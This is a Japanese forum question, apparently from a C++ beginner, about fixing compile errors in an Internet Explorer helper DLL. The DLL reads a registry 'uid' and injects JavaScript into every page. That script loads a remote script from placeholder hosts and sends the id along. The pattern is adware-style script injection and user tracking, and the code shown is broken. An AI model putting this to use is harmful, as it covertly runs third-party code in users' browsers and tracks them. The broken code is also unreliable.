アップデート
コメントに従って「バッファ」(DWORD)を文字列に変換しようとしましたが、次のエラーが発生します:
エラー 3 エラー C2664: 'sprintf': パラメーター 1 を 'char' から 'char *' に変換できません
エラー 4 エラー C2110: '+': 2 つのポインターを追加できません
そして、これが以下の更新されたコードです。助けてくれてありがとう、すべてのコメントは大歓迎です
バッファ値の例: BDF59E9937973429B3016736D7BECF92
HKEY hKey;
DWORD buffer;
LONG result;
char buffstr;
unsigned long type=REG_DWORD, size=1024;
result = RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("SOFTWARE\\softname"),0,KEY_READ,&hKey);
if(result == ERROR_SUCCESS)
{
RegQueryValueEx(hKey,TEXT("uid"),NULL,&type,(LPBYTE)&buffer,&size);
RegCloseKey(hKey);
}
sprintf(buffstr, "%lu", ( unsigned long )buffer);
CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script'); _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.url.com' : 'http://www.url.net') + '/script/r.php?uid="+buffstr+"'; html_doc.appendChild(_js);}}";
CComBSTR bstrLanguage = L"javascript";
元の投稿
C++ DLL を使用して IE に JavaScript を挿入することができましたが、パラメーター (「uid」という名前のレジストリ値 REG_SZ と 64 文字の長さ) を JS インジェクションに渡そうとしていますが、このエラーが発生します:
2 IntelliSense: expression must have integral or unscoped enum type
私はC ++の初心者以下であるため、どんな推奨事項も大歓迎です
HKEY hKey;
DWORD buffer;
LONG result;
unsigned long type=REG_DWORD, size=1024;
result = RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("SOFTWARE\\softname"),0,KEY_READ,&hKey);
if(result == ERROR_SUCCESS)
{
RegQueryValueEx(hKey,TEXT("uid"),NULL,&type,(LPBYTE)&buffer,&size);
RegCloseKey(hKey);
}
CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script'); _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.hostnamehttps.com' : 'http://www.hostnamehttp.net') + '/script/r.php?uid="+buffer+"'; html_doc.appendChild(_js);}}";
CComBSTR bstrLanguage = L"javascript";
問題のある行は次のとおりです。
CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script'); _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.hostnamehttps.com' : 'http://www.hostnamehttp.net') + '/script/r.php?uid="+buffer+"'; html_doc.appendChild(_js);}}";
バッファが DWORD である場合、この CComBSTR に含めることができるように宣言するにはどうすればよいですか? (些細なことに聞こえたらごめんなさい)